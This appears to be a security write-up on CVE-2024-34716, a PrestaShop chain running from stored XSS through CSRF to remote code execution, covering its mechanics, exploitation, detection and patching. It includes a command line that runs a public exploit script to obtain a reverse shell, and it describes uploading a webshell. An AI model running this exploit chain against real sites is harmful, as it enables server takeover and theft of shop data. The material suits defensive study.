PrestaShop XSS to RCE (CVE-2024-34716)

PrestaShop is a widely used PHP e-commerce CMS. CVE-2024-34716 affects versions before 8.1.6 and chains two flaws to go from an anonymous visitor to command execution on the server: a stored XSS in the Customer Service module and a missing CSRF protection in the back-office that lets that XSS trigger admin actions.

The chain, in two stages.

• Stored XSS. An unauthenticated attacker sends a message (e.g. via the contact form, or attaching a file with a malicious name) whose content is stored unsanitized. That JavaScript payload runs in the administrator's browser when they open the thread in the panel.
• CSRF to RCE. Because the back-office doesn't properly protect certain actions against CSRF, the JavaScript already running with the admin's session can create a malicious theme/module and upload a PHP file. PrestaShop renders templates, and that's where injected code ends up as a webshell.

Why it needs admin interaction. The key point (and the impact caveat) is that the XSS doesn't fire on its own: it requires an administrator to open the message in the panel. In a lab like Trickster an automated process simulates that admin; in the real world it depends on social engineering or patience. So it isn't an instant pre-auth RCE.

Practical exploitation. Public exploits such as aelmokhtar/CVE-2024-34716 automate the whole chain. They take the shop URL, the target admin's email and a listener IP; they stand up an HTTP server that serves the malicious zipped theme, send the message carrying the XSS, and wait for the admin to open it to upload the webshell and return a reverse shell (usually as www-data):

python3 exploit.py --url http://shop.example.com --email admin@example.com --local-ip 10.10.15.39

Getting the admin email and the exact PrestaShop version usually comes from an earlier enumeration step: for instance, an exposed .git leaking both the commit author and the admin panel path.

How to detect it. The chain leaves traces at three points. On input, a customer-service message (or an attachment filename) containing <script> saved unsanitized. In the administrator's browser, the load of external JavaScript when opening the thread (a CSP report or Referer in the attacker's log). And on the server, the creation/upload of a theme or module from the back-office not initiated by an admin on their usual machine, followed by a new .php in the web root (FIM) and the web process spawning sh as a child. That CSRF-triggered privileged action is the signature.

Defence. Update PrestaShop to 8.1.6 or later. Sanitize and escape all user-supplied content (file names too), harden back-office CSRF tokens, and apply a CSP that limits execution of injected JavaScript. It's a flavor of template injection in the final stage (the PHP template render) and ends in command execution.